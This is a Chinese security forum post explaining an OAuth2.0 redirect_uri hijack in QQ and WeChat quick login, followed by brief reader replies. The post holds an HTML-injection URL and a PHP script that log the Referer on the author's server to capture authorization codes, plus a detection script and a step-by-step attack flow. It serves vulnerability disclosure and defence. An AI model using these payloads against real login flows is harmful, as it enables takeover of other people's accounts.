用户
搜索
  • TA的每日心情
    慵懒
    2017-11-29 16:47
  • 签到天数: 6 天

    连续签到: 2 天

    [LV.2]偶尔看看

    i春秋-脚本小子

    Rank: 2

    2

    主题

    8

    帖子

    238

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2017-10-31
    发表于 2018-2-9 21:51:35 2319465

    OAuth2.0认证缺陷-第三方帐号快捷登录授权劫持漏洞

    作者:MSTLab-EvilChen

    什么是OAuth2.0?

    OAuth2.0是OAuth协议的下一版本,但不向后兼容OAuth 1.0即完全废止了OAuth1.0。 OAuth 2.0关注客户端开发者的简易性。要么通过组织在资源拥有者和HTTP服务商之间的被批准的交互动作代表用户,要么允许第三方应用代表用户获得访问的权限。同时为Web应用,桌面应用和手机,和起居室设备提供专门的认证流程。2012年10月,OAuth 2.0协议正式发布为RFC 6749 。

    RFC 6749 : https://tools.ietf.org/html/rfc6749

    OAuth2.0 流程分析&攻击

    QQ快捷登陆流程

    国内的很多厂商使用了OAuth2.0的认证方式,这里以QQ为例。

    QQ互联 : https://connect.qq.com/intro/login

    相信大家在很多网站上都见过如下的登陆界面:

    可以看见除了厂商本身网站的账号以外还有QQ跟微信这两个快捷登陆,首先以QQ的快捷登陆为例子:

    点击QQ图标进入登陆的链接 -> https://graph.qq.com/oauth2.0/show?which=Login&display=pc&response_type=code&client_id=100273020&redirect_uri=http://a.com/?view=null&uuid=65392bc3fc724fca8dcba23558f67ec8

    这里因为我的QQ是在电脑上已经登陆了,所以我可以直接进行登陆,这时候进行抓包截取整个流程,

    关键流程分析

    Request 1:

    POST /oauth2.0/authorize HTTP/1.1
    Host: graph.qq.com

    1 Response:

    HTTP/1.1 302 Moved Temporarily
    Server: tws
    Date: Fri, 09 Feb 2018 11:50:42 GMT
    Content-Type: text/html
    Content-Length: 0
    Connection: keep-alive
    Keep-Alive: timeout=50
    Content-Encoding: gzip
    Location: http:/a.com/?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664

    Request 2:(这个请求表示根据参数code的值进行个人用户凭证生成)

    GET /?uuid=65392bc3fc724fca8dcba23558f67ec8&code=120ED71CAECB11BAD538820E12B54664 HTTP/1.1
    Host: a.com

    2 Response:(setcookie返回用户凭证)

    HTTP/1.1 302 Moved Temporarily
    Content-Length: 0
    Connection: close
    Set-Cookie: 用户凭证
    Location: https://www.a.com/
    Cache-Control: max-age=0

    这时候我们就可以注意到问题了,请求1产生了一个链接,其就是QQ登陆的地址中的参数redirect_uri附带上参数code的值,而这个链接是生成用户凭证的,所以链接中的参数code也是至关重要的,看到这里我的攻击思路已经产生了:

    假设QQ登陆的地址中的参数redirect_uri的值可以为我的网站,那么只要用户A点击我就可以根据网站日志访问记录获取参数code的值再根据请求2获取用户A在a.com的账号权限。

    理想很好,现实残酷:

    这里QQ做了限制,我不需要去分析QQ关联的全部流程就能知道这里的参数client_id,其实就是a.com的QQ互联的服务id,graph.qq.com根据client_id获取a.com的设置允许的参数redirect_uri的值再跟你输入的参数redirect_uri的值进行比较。

    这时候我只需要对参数redirect_uri进行Fuzz就能知道哪些范围是允许的:

    id domain yes or no?
    1 b.com (代表着除了a.com外的域名) no
    2 1.a.com (代表着a.com的二级子域名) yes
    3 ...1.1.a.com (代表着a.com的多级子域名) no

    a.com的二级子域名可以为参数redirect_uri的值,目前我需要解决的就是如何根据a.com的二级子域名获取到code的值:

    1.我有一个HTML注入漏洞

    漏洞地址:http://1.a.com/?xss=%3Cimg+src="http://www.evilchen.cn/getref.php"%3E

    getref.php的内容为如下PHP代码:

    <?php
    file_put_contents("ref.txt", $_SERVER['HTTP_REFERER']);
    ?>

    将漏洞地址作为参数redirect_uri的值,然后诱导用户A点击登陆,这时候跳转的链接就变成了:

    http://1.a.com/?xss=%3Cimg+src="http://www.evilchen.cn/getref.php"%3E&code=120ED71CAECB11BAD538820E12B54664

    跳转之后这个链接会做为HTTP Referer的值再请求http://www.evilchen.cn/getref.php,那么我的服务器就会接收到code的值,再根据Request 2的值填入,我就可以获取用户A在a.com的账号权限了

    2.我能在其他地方引用外部资源

    很多厂商都会有社区、论坛等功能,大部分会使用Discuz程序来做,而Discuz确实可以引用外部资源~

    这里我使用的图片地址还是http://www.evilchen.cn/getref.php ,然后进行帖子回复。

    帖子地址为 http://bbs.a.com/thread-123-1-1.html ,将帖子地址作为参数redirect_uri的值,然后诱导用户A点击登陆,这时候跳转的链接就变成了:

    http://bbs.a.com/thread-123-1-1.html?code=120ED71CAECB11BAD538820E12B54664

    跳转之后这个链接会做为HTTP Referer的值再请求http://www.evilchen.cn/getref.php ,那么我的服务器就会接收到code的值,再根据Request 2的值填入,我就可以获取用户A在a.com的账号权限了:

    攻击流程

    1.我点击a.com的QQ登录,获取QQ快捷登录链接,替换redirect_uri的值为如上两个问题的地址然后发送给受害者
    2.受害者点击QQ头像登录,会跳转到redirect_uri的值(链接),并且携带上code的值

    3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)

    4.攻击者获取referer的值,构建B地址,并且进入链接(注意 攻击者要在未登录情况下)

    微信快捷登陆流程

    开发平台:https://open.weixin.qq.com/

    a.com的地址如下:

    https://open.weixin.qq.com/connect/qrconnect?appid=&redirect_uri=http://a.com/wx?callback=null

    微信扫描后会跳转到:

    http://a.com/weixin?callback=null&code=021n2XAB00C4mg2FvKyB0W7QAB0n2XAF

    而只要利用QQ快捷登陆的方法我们一样可以获取到code的值

    攻击流程

    1.我点击a.com的QQ登录,获取微信快捷登录链接,替换redirect_uri的值为如上两个问题的地址然后发送给受害者
    2.受害者点开微信扫描,会跳转到redirect_uri的值(链接),并且携带上code的值

    3.受害者浏览器以跳转后的链接作为referer头请求外链图片(php)

    4.攻击者获取referer的值,构建B地址,并且进入链接(注意 攻击者要在未登录情况下)

    风险检测

    我简单的写了个poc,仅仅做风险检测,具体危害可以自行检查~~

    #-*- coding:utf-8 -*-
    #Auther: MSTLab(EvilChen)
    
    import requests,urlparse
    
    def scan(url):
            tempUrl = getValue(url)
            tempDomain = urlparse.urlparse(tempUrl).netloc
            domainA = tempDomain.split('.')
            domainB = tempDomain.replace(domainA[0],"mstlab")
            url = url.replace(tempUrl,domainB)
            r = requests.get(url)
            if "redirect uri is illegal" not in r.text:
                print " This website is vulnerable!"
            else:
                print " This website is safe!"
    
    def getValue(url):
        query = urlparse.urlparse(url).query
        resUrl = dict([(k,v[0]) for k,v in urlparse.parse_qs(query).items()])['redirect_uri']
        return resUrl
    
    if __name__ == '__main__':
            url = raw_input("URL: ")
            scan(url)

    poc的使用方法很简单,只需要复制QQ快捷登陆的链接:

    经过我们实验室的排查发现存在风险的厂商如下:

    id 厂商 是否有风险
    0 百度
    1 京东
    2 网易
    3 微博
    4 新浪
    5 腾讯
    6 爱奇艺
    .... ....

    等国内知名厂商近百家都存在此危害。

    修复建议

    redirect_uri的值做限制

    结尾

    文章参考:

    http://wooyun.jozxing.cc/search?keywords=OAuth&content_search_by=by_bugs

    http://www.cnvd.org.cn/flaw/show/CNVD-2014-02785

    http://www.cnvd.org.cn/flaw/show/CNVD-2018-01622

    评分

    参与人数 3积分 +66 魔法币 +119 收起 理由
    阿甫哥哥 + 66 + 66 不怕你骄傲
    走在街上的猪 + 50 666
    Kernel_C + 3 666

    查看全部评分

    这种方式需要借助中间人攻击   请问一下  怎么控制redirect_uri来修复此漏洞   如果不能进行同域限制  该怎么修复 谢谢
    使用道具 举报 回复
    bbs那个还是不太懂,大佬们求解释下,为什么跳转到帖子页面会二次跳转到攻击服务器?
    使用道具 举报 回复
    发表于 2018-2-12 11:59:59
    我想起owasp的一篇文章 不过这洞用起来好像要求不小  然后继续潜水
    长时间不上线
    使用道具 举报 回复
    发表于 2018-2-22 20:40:53
    这很hk   不都赶紧去操作一波???
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    推荐
    发表于 2018-2-21 00:41:15

    6666666,大神,单车我只服膜拜的
    行动比空谈更具有说服力!
    使用道具 举报 回复
    6666666,大神,单车我只服膜拜的
    使用道具 举报 回复
    发表于 2018-2-10 13:46:27
    uber 5000+的思路。很详细,点个赞。
    使用道具 举报 回复
    喧嚣如梦 i春秋-核心白帽 行动比空谈更具有说服力! 核心白帽 积极活跃奖 秦
    推荐
    发表于 2018-2-22 12:30:19


    更深层次的操作
    行动比空谈更具有说服力!
    使用道具 举报 回复
    使用道具 举报 回复
    发表于 2018-2-10 10:15:47
    这个666
    无聊的渣渣
    使用道具 举报 回复
    发表于 2018-2-10 10:16:05
    见识过这种操作
    无聊的渣渣
    使用道具 举报 回复
    发表于 2018-2-10 10:16:50
    更深层次的操作
    无聊的渣渣
    使用道具 举报 回复
    发表于 2018-2-10 10:53:01

    666
    求知若饥,虚心若愚。
    使用道具 举报 回复
    发表于 2018-2-10 12:36:05

    这波操作666
    使用道具 举报 回复
    发表于 2018-2-11 09:07:38
    使用道具 举报 回复
    发表于 2018-2-11 11:58:53
    厉害!
    使用道具 举报 回复
    发表于 2018-2-11 21:47:36
    学到了学到了
    http://nico.lolimoe.cn/blog/
    使用道具 举报 回复
    发表于 2018-2-12 11:23:58

    更深层次的操作
    使用道具 举报 回复
    666 厉害
    使用道具 举报 回复
    发表于 2018-2-12 11:46:08
    更深层次的操作
    苟非吾之所有,虽一毫而莫取
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册